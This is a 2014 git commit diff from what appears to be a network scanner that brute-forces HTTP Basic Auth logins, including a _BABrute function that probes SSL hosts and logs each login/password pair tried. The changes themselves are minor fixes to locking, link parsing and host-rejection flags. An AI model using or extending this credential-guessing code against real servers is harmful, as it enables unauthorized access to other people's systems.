Fixed dead host rejection.

This commit is contained in:
cora32 2014-11-15 20:59:07 +03:00
parent 9a709693b1
commit d5937bf0dd
2 changed files with 5 additions and 5 deletions

View File

@ -646,12 +646,9 @@ lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method)
if(port == 443)
{
ZeroMemory(recvBuff, sizeof(recvBuff));
// while(baSSLLocked) Sleep(100);
// baSSLLocked = true;
if(BALogSwitched) stt->doEmitionBAData("Probing SSL:BA " + QString(ip) + ":" + QString::number(port) + "; login/pass: "+ QString(tPass) + ";");
_baSSLWorker(ip, request, recvBuff);
dataSz = strlen(recvBuff);
// baSSLLocked = false;
}
#pragma endregion
else

View File

@ -2366,7 +2366,7 @@ void _getLinkFromJSLocation(char *dataBuff, char *str, char *tag, char *ip, int
char link[512] = {0};
if(sz < 511)
{
if(tempBuff[1] != '/'
if(tempBuff[0] != '/'
&& strstri(tempBuff, "http://") == NULL
&& strstri(tempBuff, "https://") == NULL
)
@ -2676,6 +2676,7 @@ int Lexems::_header(char *ip, int port, char str[], Lexems *l, PathStr *ps, std:
|| ps->flag == 10
)
return -2;
else if(ps->flag == -1) return -1;
}
else
{
@ -2726,6 +2727,7 @@ int Lexems::_header(char *ip, int port, char str[], Lexems *l, PathStr *ps, std:
|| ps->flag == 10
)
return -2;
else if(ps->flag == -1) return -1;
};
};
};
@ -2847,7 +2849,8 @@ int Lexems::_header(char *ip, int port, char str[], Lexems *l, PathStr *ps, std:
|| flag == 13 || flag == 14 || flag >= 17 || flag == 10)
{
return -2;
};
}
else if(ps->flag == -1) return -1;
}
else
{